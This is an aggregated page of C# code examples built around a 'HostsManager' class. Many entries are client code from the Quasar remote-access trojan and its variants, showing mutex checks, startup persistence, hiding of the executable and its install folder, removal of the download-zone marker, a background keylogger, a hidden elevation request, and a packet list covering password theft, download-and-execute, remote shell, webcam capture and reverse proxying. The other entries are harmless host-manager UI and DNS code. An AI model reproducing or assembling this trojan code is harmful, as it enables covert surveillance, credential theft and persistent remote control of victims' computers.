示例#1
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION))
            {
                return(false);
            }

            AES.SetDefaultKey(Settings.PASSWORD);
            ClientVerisi.InstallPath = Path.Combine(Settings.DIR,
                                                    ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.CurrentPath);

            if (!Settings.INSTALL || ClientVerisi.CurrentPath == ClientVerisi.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Başlangıç.AddToStartup())
                    {
                        ClientVerisi.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientVerisi.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop   = new ApplicationContext();
                        var logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new KuuhakuClient(hosts);
                return(true);
            }
            MutexHelper.CloseMutex();
            ClientYükleyici.Install(ConnectClient);
            return(false);
        }
示例#2
0
 public QuasarClient(HostsManager hostsManager) : base()
 {
     this._hosts       = hostsManager;
     this._random      = new SafeRandom();
     base.ClientState += OnClientState;
     base.ClientRead  += OnClientRead;
     base.ClientFail  += OnClientFail;
 }
示例#3
0
        public QuasarClient(HostsManager hostsManager) : base()
        {
            this._hosts = hostsManager;

            base.Serializer   = new Serializer(PacketRegistery.GetPacketTypes());
            base.ClientState += OnClientState;
            base.ClientRead  += OnClientRead;
            base.ClientFail  += OnClientFail;
        }
示例#4
0
        private static void Initialize()
        {
            if (!MutexHelper.CreateMutex(Settings.MUTEX))
            {
                ClientData.Disconnect = true; // process with same mutex is already running
            }
            if (ClientData.Disconnect)
            {
                return;
            }

            AES.PreHashKey(Settings.PASSWORD);
            _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
            ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            if (_hosts.IsEmpty)
            {
                ClientData.Disconnect = true; // no hosts to connect
            }
            if (ClientData.Disconnect)
            {
                return;
            }

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP && Settings.INSTALL)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                InitializeClient();

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    }).Start();
                }
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
            }
        }
示例#5
0
 public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
     : base(serverCertificate)
 {
     this._hosts       = hostsManager;
     this._random      = new SafeRandom();
     base.ClientState += OnClientState;
     base.ClientRead  += OnClientRead;
     base.ClientFail  += OnClientFail;
 }
示例#6
0
 public GrpcServer(string host, int port, CancellationToken cancellationToken)
 {
     _server = new Grpc.Core.Server
     {
         Services = { HostsManager.BindService(new HostsManagerService(cancellationToken)) },
         Ports    = { new ServerPort(host, port, ServerCredentials.Insecure) }
     };
     _host = host;
     _port = port;
 }
示例#7
0
 /// <summary>
 /// Initializes a new instance of the <see cref="QuasarClient"/> class.
 /// </summary>
 /// <param name="hostsManager">The hosts manager which contains the available hosts to connect to.</param>
 /// <param name="serverCertificate">The server certificate.</param>
 public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
     : base(serverCertificate)
 {
     this._hosts       = hostsManager;
     this._random      = new SafeRandom();
     base.ClientState += OnClientState;
     base.ClientRead  += OnClientRead;
     base.ClientFail  += OnClientFail;
     this._tokenSource = new CancellationTokenSource();
     this._token       = _tokenSource.Token;
 }
示例#8
0
        private static void Initialize()
        {
            Thread.Sleep(2000);

            AES.PreHashKey(Settings.PASSWORD);
            _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
            SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
            SystemCore.MyPath = Application.ExecutablePath;
            SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            SystemCore.AccountType = SystemCore.GetAccountType();
            GeoLocationHelper.Initialize();

            if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                    SystemCore.Disconnect = true;

                if (SystemCore.Disconnect)
                    return;

                new Thread(SystemCore.UserIdleThread).Start();

                if (Settings.STARTUP && Settings.INSTALL)
                {
                    SystemCore.AddToStartup();
                }

                InitializeClient();

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    }).Start(); ;
                }
            }
            else
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                    SystemCore.Disconnect = true;

                if (SystemCore.Disconnect)
                    return;

                SystemCore.Install();
            }
        }
示例#9
0
        public BasicHost Host(string value, HostsManager hostsManager)
        {
            string[] splits    = value.Split('/');
            string   siteValue = splits[0];
            string   hostValue = splits[1];

            if (this.hostAliasesCache.ContainsKey(hostValue.ToLower()))
            {
                hostValue = this.hostAliasesCache[hostValue.ToLower()];
            }

            int       _tempIntValue;
            IPAddress hostAddress;

            if (!int.TryParse(hostValue, out _tempIntValue))
            {
                hostAddress = DnsService.Lookup(siteValue + hostValue);
            }
            else
            {
                IPAddress siteAddress;
                lock (hostsCacheLock) {
                    if (hostsCache.ContainsKey(siteValue))
                    {
                        siteAddress = hostsCache[siteValue];
                    }
                    else
                    {
                        siteAddress = DnsService.Lookup(siteValue + specialHostsConfig.DefaultDnsLookupSuffix);
                        hostsCache.Add(siteValue, siteAddress);
                    }
                }

                byte[] siteAddressBytes = siteAddress.GetAddressBytes();
                siteAddressBytes[3] = byte.Parse(hostValue);
                hostAddress         = new IPAddress(siteAddressBytes);
            }

            String lastOctet = hostAddress.GetAddressBytes()[3].ToString();

            if (specialHostConfigsCache.ContainsKey(lastOctet))
            {
                return(new ServiceGroupedDnsHost(hostAddress, specialHostConfigsCache[lastOctet].DisplayName, siteValue, specialHostConfigsCache[lastOctet].VncHostParams, specialHostConfigsCache[lastOctet].WebHostParams.ToArray()));
            }
            else
            {
                return(new GroupedDnsHost(hostAddress, "." + lastOctet, siteValue));
            }
        }
示例#10
0
        public BasicHost Host(string value, HostsManager hostsManager)
        {
            string[] splits     = value.Split('#');
            string   siteValue  = splits[0];
            string   groupValue = splits[1];

            foreach (String host in this.hostGroupsCache[groupValue].Hosts)
            {
                Task.Factory.StartNew(() => {
                    hostsManager.AddHost(siteValue + "/" + host);
                });
            }

            return(null);
        }
示例#11
0
        public MainForm(HostsManager <HostViewModel> manager, bool startMinimized = false)
        {
            if (manager == null)
            {
                throw new ArgumentNullException("manager");
            }

            StartMinimized = startMinimized;
            InitializeComponent();
            startPsftpToolStripMenuItem.Image = new Icon(Resources.psftp, 16, 16).ToBitmap();
            centerMe();

            _titleFilename = Path.GetFileName(manager.Filename);
            Modified       = false;

            _hostsManager = manager;
            foreach (var host in _hostsManager.Hosts.Cast <ObjectView <HostViewModel> >().Select(o => o.Object))
            {
                host.StatusChanged += onHostStatusChanged;
            }
            _bindingSource = new BindingSource(_hostsManager, "Hosts");

            hostsGridView.AutoGenerateColumns    = false;
            hgwStatusIconColumn.DataPropertyName = @"StatusIcon";
            hgwNameColumn.DataPropertyName       = @"Name";
            hgwUsernameColumn.DataPropertyName   = @"Username";
            hgwHostnameColumn.DataPropertyName   = @"Hostname";
            hgwStatusColumn.DataPropertyName     = @"Status";
            hgwDependsOnColumn.DataPropertyName  = @"DependsOn";
            hostsGridView.DataSource             = _bindingSource;
            _bindingSource.CurrentItemChanged   += delegate { updateCurrentHostDetails(); };
            updateCurrentHostDetails();

            fillFiltersTree();

            ActiveControl = hostsGridView;

            var hostAppender = (DelegateAppender)Logger.GetAppender(Program.HostLogDelegateAppender);

            hostAppender.SyncObject = this;
            hostAppender.OnAppend  += onHostLogAppended;

            var commonAppender = (DelegateAppender)Logger.GetAppender(Program.CommonErrorsDelegateAppender);

            commonAppender.SyncObject = this;
            commonAppender.OnAppend  += onCommonErrorAppended;

            theTimer.Tick += onRestartHostsWithWarningsTick;
            if (_hostsManager.Config.RestartHostsWithWarnings)
            {
                theTimer.Interval = _hostsManager.Config.RestartHostsWithWarningsInterval * 1000;
                theTimer.Start();
            }

            /*var backColor = DefaultBackColor;
             * if (VisualStyleInformation.IsSupportedByOS && VisualStyleInformation.IsEnabledByUser)
             * {
             *  VisualStyleRenderer vsr2 = new VisualStyleRenderer(VisualStyleElement.Tab.Body.Normal);
             *  VisualStyleRenderer vsr = new VisualStyleRenderer(VisualStyleElement.Tab.TopTabItem.Normal);
             *  backColor = vsr.GetColor(ColorProperty.FillColor);
             *  var arr =
             *      (from int val in Enum.GetValues(typeof (ColorProperty)) select vsr.GetColor((ColorProperty) val)).
             *          ToList();
             *  var names = Enum.GetNames(typeof (ColorProperty));
             *  var c1 = vsr.GetColor(ColorProperty.TransparentColor);
             *  backColor = c1;
             * }
             * tabControlHost.TabPages[0].BackColor = backColor;
             * tunnelsGridView.BackgroundColor = backColor;
             * tunnelsGridView.RowsDefaultCellStyle.BackColor = backColor;*/
        }
示例#12
0
        public static void Main(string[] args)
        {
            /*var enc = CryptoHelper.EncryptStringAes("Hello, World!...", "qwerty7");
            var ret = CryptoHelper.DecryptStringAes(enc, "qwerty7");*/

            // We can run single instance only here based on Visual Studio
            // Project Settings. So initialize instance to null here.
            Process instance = null;

            // If we are supposed to, check to see if we are the only instance of this
            // program running.
            if (Settings.Default.StartSingleInstanceOnly)
                instance = RunningInstance();

            // If we are the only running instance of this program then continue.
            if (instance == null)
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);

                var startUpArgs = parseArgs(args);

                var startUpDlg = new StartUpDialog();
                if (startUpDlg.DialogRequired && startUpDlg.ShowDialog() == DialogResult.Cancel)
                    return;

                // Apply config
                var cfg = new Config
                              {
                                  RestartEnabled = Settings.Default.Config_RestartEnabled,
                                  MaxAttemptsCount = Settings.Default.Config_MaxAttemptsCount,
                                  RestartDelay = Settings.Default.Config_RestartDelay,
                                  DelayInsteadStop = Settings.Default.Config_AfterMaxAttemptsMakeDelay,
                                  RestartHostsWithWarnings = Settings.Default.Config_RestartHostsWithWarnings,
                                  RestartHostsWithWarningsInterval = Settings.Default.Config_RestartHostsWithWarningsInterval
                              };
                Logger.SetThresholdForAppender(HostLogDelegateAppender, Settings.Default.Config_TraceDebug ? Level.Debug : Level.Info);

                var hm = new HostsManager<HostViewModel>(cfg, startUpDlg.Storage, startUpDlg.Filename, startUpDlg.Password);

                bool firstStart = true;

                // changeSource request handling
                while (true)
                {
                    var mainForm = new MainForm(hm, firstStart && startUpArgs.Minimized);
                    firstStart = false;

                    Application.Run(mainForm);

                    if (mainForm.ChangeSourceRequested)
                    {
                        startUpDlg = new StartUpDialog();
                        if (startUpDlg.ShowDialog() == DialogResult.Cancel)
                        {
                            return;
                        }

                        hm = new HostsManager<HostViewModel>(
                            cfg,
                            startUpDlg.Storage,
                            startUpDlg.Filename,
                            startUpDlg.Password);
                    }
                    else
                    {
                        break;
                    }
                }
            }
            else
            {
                // We are not the only running instance of this program. So do this.
                HandleRunningInstance(instance);
            }
        }
        /// <summary>
        /// Begins running the application.
        /// </summary>
        public void Run()
        {
            // decrypt and verify the settings
            if (!Settings.Initialize())
            {
                Application.Exit();
            }

            ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);

            // check if process with same mutex is already running on system
            if (!ApplicationMutex.CreatedNew)
            {
                Application.Exit();
            }

            FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);

            var installer = new ClientInstaller();

            if (IsInstallationRequired)
            {
                // close mutex before installing the client
                ApplicationMutex.Dispose();

                try
                {
                    installer.Install();
                    Application.Exit();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }
            else
            {
                try
                {
                    // (re)apply settings and proceed with connect loop
                    installer.ApplySettings();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }

                if (!Settings.UNATTENDEDMODE)
                {
                    InitializeNotifyicon();
                }

                if (Settings.ENABLELOGGER)
                {
                    _keyloggerService = new KeyloggerService();
                    _keyloggerService.Start();
                }

                var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
                _connectClient              = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                _connectClient.ClientState += ConnectClientOnClientState;
                InitializeMessageProcessors(_connectClient);

                _userActivityDetection = new ActivityDetection(_connectClient);
                _userActivityDetection.Start();

                new Thread(() =>
                {
                    // Start connection loop on new thread and dispose application once client exits.
                    // This is required to keep the UI thread responsive and run the message loop.
                    _connectClient.ConnectLoop();
                    Application.Exit();
                }).Start();
            }
        }
示例#14
0
 public BasicHost Host(string value, HostsManager hostsManager)
 {
     System.Diagnostics.Debug.WriteLine("IPHostProvider.Host()");
     return(new IPBasicHost(IPAddress.Parse(value)));
 }
示例#15
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            // Request elevation
            if (Settings.REQUESTELEVATIONONEXECUTION && WindowsAccountHelper.GetAccountType() != "Admin")
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo
                {
                    FileName        = "cmd",
                    Verb            = "runas",
                    Arguments       = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true
                };

                MutexHelper.CloseMutex();  // close the mutex so our new process will run
                bool success = true;
                try
                {
                    Process.Start(processStartInfo);
                }
                catch
                {
                    success = false;
                    MutexHelper.CreateMutex(Settings.MUTEX);  // re-grab the mutex
                }

                if (success)
                {
                    ConnectClient.Exit();
                }
            }

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                return(true);
            }

            MutexHelper.CloseMutex();
            ClientInstaller.Install(ConnectClient);
            return(false);
        }
示例#16
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            Aes128.SetDefaultKey(Settings.KEY, Settings.AUTHKEY);
            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts);
                return(true);
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
                return(false);
            }
        }
示例#17
0
        /// <summary>
        /// Begins running the application.
        /// </summary>
        public void Run()
        {
            // decrypt and verify the settings
            if (!Settings.Initialize())
            {
                return;
            }

            ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);

            // check if process with same mutex is already running on system
            if (!ApplicationMutex.CreatedNew)
            {
                return;
            }

            FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);

            var installer = new ClientInstaller();

            if (IsInstallationRequired)
            {
                // close mutex before installing the client
                ApplicationMutex.Dispose();

                try
                {
                    installer.Install();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }
            else
            {
                try
                {
                    // (re)apply settings and proceed with connect loop
                    installer.ApplySettings();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }

                if (Settings.ENABLELOGGER)
                {
                    _keyloggerService = new KeyloggerService();
                    _keyloggerService.Start();
                }

                var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
                ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                InitializeMessageProcessors(ConnectClient);

                _userActivityDetection = new ActivityDetection(ConnectClient);
                _userActivityDetection.Start();

                ConnectClient.ConnectLoop();
            }
        }
示例#18
0
        public static void Main(string[] args)
        {
            /*var enc = CryptoHelper.EncryptStringAes("Hello, World!...", "qwerty7");
             * var ret = CryptoHelper.DecryptStringAes(enc, "qwerty7");*/

            // We can run single instance only here based on Visual Studio
            // Project Settings. So initialize instance to null here.
            Process instance = null;

            // If we are supposed to, check to see if we are the only instance of this
            // program running.
            if (Settings.Default.StartSingleInstanceOnly)
            {
                instance = RunningInstance();
            }

            // If we are the only running instance of this program then continue.
            if (instance == null)
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);

                var startUpArgs = parseArgs(args);

                var startUpDlg = new StartUpDialog();
                if (startUpDlg.DialogRequired && startUpDlg.ShowDialog() == DialogResult.Cancel)
                {
                    return;
                }

                // Apply config
                var cfg = new Config
                {
                    RestartEnabled                   = Settings.Default.Config_RestartEnabled,
                    MaxAttemptsCount                 = Settings.Default.Config_MaxAttemptsCount,
                    RestartDelay                     = Settings.Default.Config_RestartDelay,
                    DelayInsteadStop                 = Settings.Default.Config_AfterMaxAttemptsMakeDelay,
                    RestartHostsWithWarnings         = Settings.Default.Config_RestartHostsWithWarnings,
                    RestartHostsWithWarningsInterval = Settings.Default.Config_RestartHostsWithWarningsInterval
                };
                Logger.SetThresholdForAppender(HostLogDelegateAppender, Settings.Default.Config_TraceDebug ? Level.Debug : Level.Info);

                var hm = new HostsManager <HostViewModel>(cfg, startUpDlg.Storage, startUpDlg.Filename, startUpDlg.Password);

                bool firstStart = true;

                // changeSource request handling
                while (true)
                {
                    var mainForm = new MainForm(hm, firstStart && startUpArgs.Minimized);
                    firstStart = false;

                    Application.Run(mainForm);

                    if (mainForm.ChangeSourceRequested)
                    {
                        startUpDlg = new StartUpDialog();
                        if (startUpDlg.ShowDialog() == DialogResult.Cancel)
                        {
                            return;
                        }

                        hm = new HostsManager <HostViewModel>(
                            cfg,
                            startUpDlg.Storage,
                            startUpDlg.Filename,
                            startUpDlg.Password);
                    }
                    else
                    {
                        break;
                    }
                }
            }
            else
            {
                // We are not the only running instance of this program. So do this.
                HandleRunningInstance(instance);
            }
        }
示例#19
0
 public Host.BasicHost Host(string value, HostsManager hostsManager)
 {
     return(new DnsBasicHost(DnsService.Lookup(value), value));
 }
示例#20
0
        public MainForm(HostsManager<HostViewModel> manager, bool startMinimized = false)
        {
            if (manager == null) throw new ArgumentNullException("manager");

            StartMinimized = startMinimized;
            InitializeComponent();
            startPsftpToolStripMenuItem.Image = new Icon(Resources.psftp, 16, 16).ToBitmap();
            centerMe();

            _titleFilename = Path.GetFileName(manager.Filename);
            Modified = false;

            _hostsManager = manager;
            foreach (var host in _hostsManager.Hosts.Cast<ObjectView<HostViewModel>>().Select(o => o.Object))
            {
                host.StatusChanged += onHostStatusChanged;
            }
            _bindingSource = new BindingSource(_hostsManager, "Hosts");
            
            hostsGridView.AutoGenerateColumns = false;
            hgwStatusIconColumn.DataPropertyName = @"StatusIcon";
            hgwNameColumn.DataPropertyName = @"Name";
            hgwUsernameColumn.DataPropertyName = @"Username";
            hgwHostnameColumn.DataPropertyName = @"Hostname";
            hgwStatusColumn.DataPropertyName = @"Status";
            hgwDependsOnColumn.DataPropertyName = @"DependsOn";
            hostsGridView.DataSource = _bindingSource;
            _bindingSource.CurrentItemChanged += delegate { updateCurrentHostDetails(); };
            updateCurrentHostDetails();

            fillFiltersTree();

            ActiveControl = hostsGridView;

            var hostAppender = (DelegateAppender) Logger.GetAppender(Program.HostLogDelegateAppender);
            hostAppender.SyncObject = this;
            hostAppender.OnAppend += onHostLogAppended;

            var commonAppender = (DelegateAppender)Logger.GetAppender(Program.CommonErrorsDelegateAppender);
            commonAppender.SyncObject = this;
            commonAppender.OnAppend += onCommonErrorAppended;

            theTimer.Tick += onRestartHostsWithWarningsTick;
            if (_hostsManager.Config.RestartHostsWithWarnings)
            {
                theTimer.Interval = _hostsManager.Config.RestartHostsWithWarningsInterval * 1000;
                theTimer.Start();
            }

            /*var backColor = DefaultBackColor;
            if (VisualStyleInformation.IsSupportedByOS && VisualStyleInformation.IsEnabledByUser)
            {
                VisualStyleRenderer vsr2 = new VisualStyleRenderer(VisualStyleElement.Tab.Body.Normal);
                VisualStyleRenderer vsr = new VisualStyleRenderer(VisualStyleElement.Tab.TopTabItem.Normal);
                backColor = vsr.GetColor(ColorProperty.FillColor);
                var arr =
                    (from int val in Enum.GetValues(typeof (ColorProperty)) select vsr.GetColor((ColorProperty) val)).
                        ToList();
                var names = Enum.GetNames(typeof (ColorProperty));
                var c1 = vsr.GetColor(ColorProperty.TransparentColor);
                backColor = c1;
            }
            tabControlHost.TabPages[0].BackColor = backColor;
            tunnelsGridView.BackgroundColor = backColor;
            tunnelsGridView.RowsDefaultCellStyle.BackColor = backColor;*/
        }
示例#21
0
        public QuasarClient(HostsManager hostsManager) : base()
        {
            this._hosts = hostsManager;

            base.Serializer = new Serializer(new Type[]
            {
                typeof(Packets.ServerPackets.GetAuthentication),
                typeof(Packets.ServerPackets.DoClientDisconnect),
                typeof(Packets.ServerPackets.DoClientReconnect),
                typeof(Packets.ServerPackets.DoClientUninstall),
                typeof(Packets.ServerPackets.DoWebcamStop),
                typeof(Packets.ServerPackets.DoAskElevate),
                typeof(Packets.ServerPackets.DoDownloadAndExecute),
                typeof(Packets.ServerPackets.DoUploadAndExecute),
                typeof(Packets.ServerPackets.GetDesktop),
                typeof(Packets.ServerPackets.GetProcesses),
                typeof(Packets.ServerPackets.DoProcessKill),
                typeof(Packets.ServerPackets.DoProcessStart),
                typeof(Packets.ServerPackets.GetDrives),
                typeof(Packets.ServerPackets.GetDirectory),
                typeof(Packets.ServerPackets.DoDownloadFile),
                typeof(Packets.ServerPackets.DoMouseEvent),
                typeof(Packets.ServerPackets.DoKeyboardEvent),
                typeof(Packets.ServerPackets.GetSystemInfo),
                typeof(Packets.ServerPackets.DoVisitWebsite),
                typeof(Packets.ServerPackets.DoShowMessageBox),
                typeof(Packets.ServerPackets.DoClientUpdate),
                typeof(Packets.ServerPackets.GetMonitors),
                typeof(Packets.ServerPackets.GetWebcams),
                typeof(Packets.ServerPackets.GetWebcam),
                typeof(Packets.ServerPackets.DoShellExecute),
                typeof(Packets.ServerPackets.DoPathRename),
                typeof(Packets.ServerPackets.DoPathDelete),
                typeof(Packets.ServerPackets.DoShutdownAction),
                typeof(Packets.ServerPackets.GetStartupItems),
                typeof(Packets.ServerPackets.DoStartupItemAdd),
                typeof(Packets.ServerPackets.DoStartupItemRemove),
                typeof(Packets.ServerPackets.DoDownloadFileCancel),
                typeof(Packets.ServerPackets.GetKeyloggerLogs),
                typeof(Packets.ServerPackets.DoUploadFile),
                typeof(Packets.ServerPackets.GetPasswords),
                typeof(Packets.ServerPackets.DoLoadRegistryKey),
                typeof(Packets.ServerPackets.DoCreateRegistryKey),
                typeof(Packets.ServerPackets.DoDeleteRegistryKey),
                typeof(Packets.ServerPackets.DoRenameRegistryKey),
                typeof(Packets.ServerPackets.DoCreateRegistryValue),
                typeof(Packets.ServerPackets.DoDeleteRegistryValue),
                typeof(Packets.ServerPackets.DoRenameRegistryValue),
                typeof(Packets.ServerPackets.DoChangeRegistryValue),
                typeof(Packets.ServerPackets.SetAuthenticationSuccess),
                typeof(Packets.ServerPackets.GetConnections),
                typeof(Packets.ServerPackets.DoCloseConnection),
                typeof(Packets.ClientPackets.GetAuthenticationResponse),
                typeof(Packets.ClientPackets.SetStatus),
                typeof(Packets.ClientPackets.SetStatusFileManager),
                typeof(Packets.ClientPackets.SetUserStatus),
                typeof(Packets.ClientPackets.GetDesktopResponse),
                typeof(Packets.ClientPackets.GetProcessesResponse),
                typeof(Packets.ClientPackets.GetDrivesResponse),
                typeof(Packets.ClientPackets.GetDirectoryResponse),
                typeof(Packets.ClientPackets.DoDownloadFileResponse),
                typeof(Packets.ClientPackets.GetSystemInfoResponse),
                typeof(Packets.ClientPackets.GetMonitorsResponse),
                typeof(Packets.ClientPackets.GetWebcamsResponse),
                typeof(Packets.ClientPackets.GetWebcamResponse),
                typeof(Packets.ClientPackets.DoShellExecuteResponse),
                typeof(Packets.ClientPackets.GetStartupItemsResponse),
                typeof(Packets.ClientPackets.GetKeyloggerLogsResponse),
                typeof(Packets.ClientPackets.GetPasswordsResponse),
                typeof(Packets.ClientPackets.GetRegistryKeysResponse),
                typeof(Packets.ClientPackets.GetCreateRegistryKeyResponse),
                typeof(Packets.ClientPackets.GetDeleteRegistryKeyResponse),
                typeof(Packets.ClientPackets.GetRenameRegistryKeyResponse),
                typeof(Packets.ClientPackets.GetCreateRegistryValueResponse),
                typeof(Packets.ClientPackets.GetDeleteRegistryValueResponse),
                typeof(Packets.ClientPackets.GetRenameRegistryValueResponse),
                typeof(Packets.ClientPackets.GetChangeRegistryValueResponse),
                typeof(ReverseProxy.Packets.ReverseProxyConnect),
                typeof(ReverseProxy.Packets.ReverseProxyConnectResponse),
                typeof(ReverseProxy.Packets.ReverseProxyData),
                typeof(ReverseProxy.Packets.ReverseProxyDisconnect),
                typeof(Packets.ClientPackets.GetConnectionsResponse)
            });
            base.ClientState += OnClientState;
            base.ClientRead  += OnClientRead;
            base.ClientFail  += OnClientFail;
        }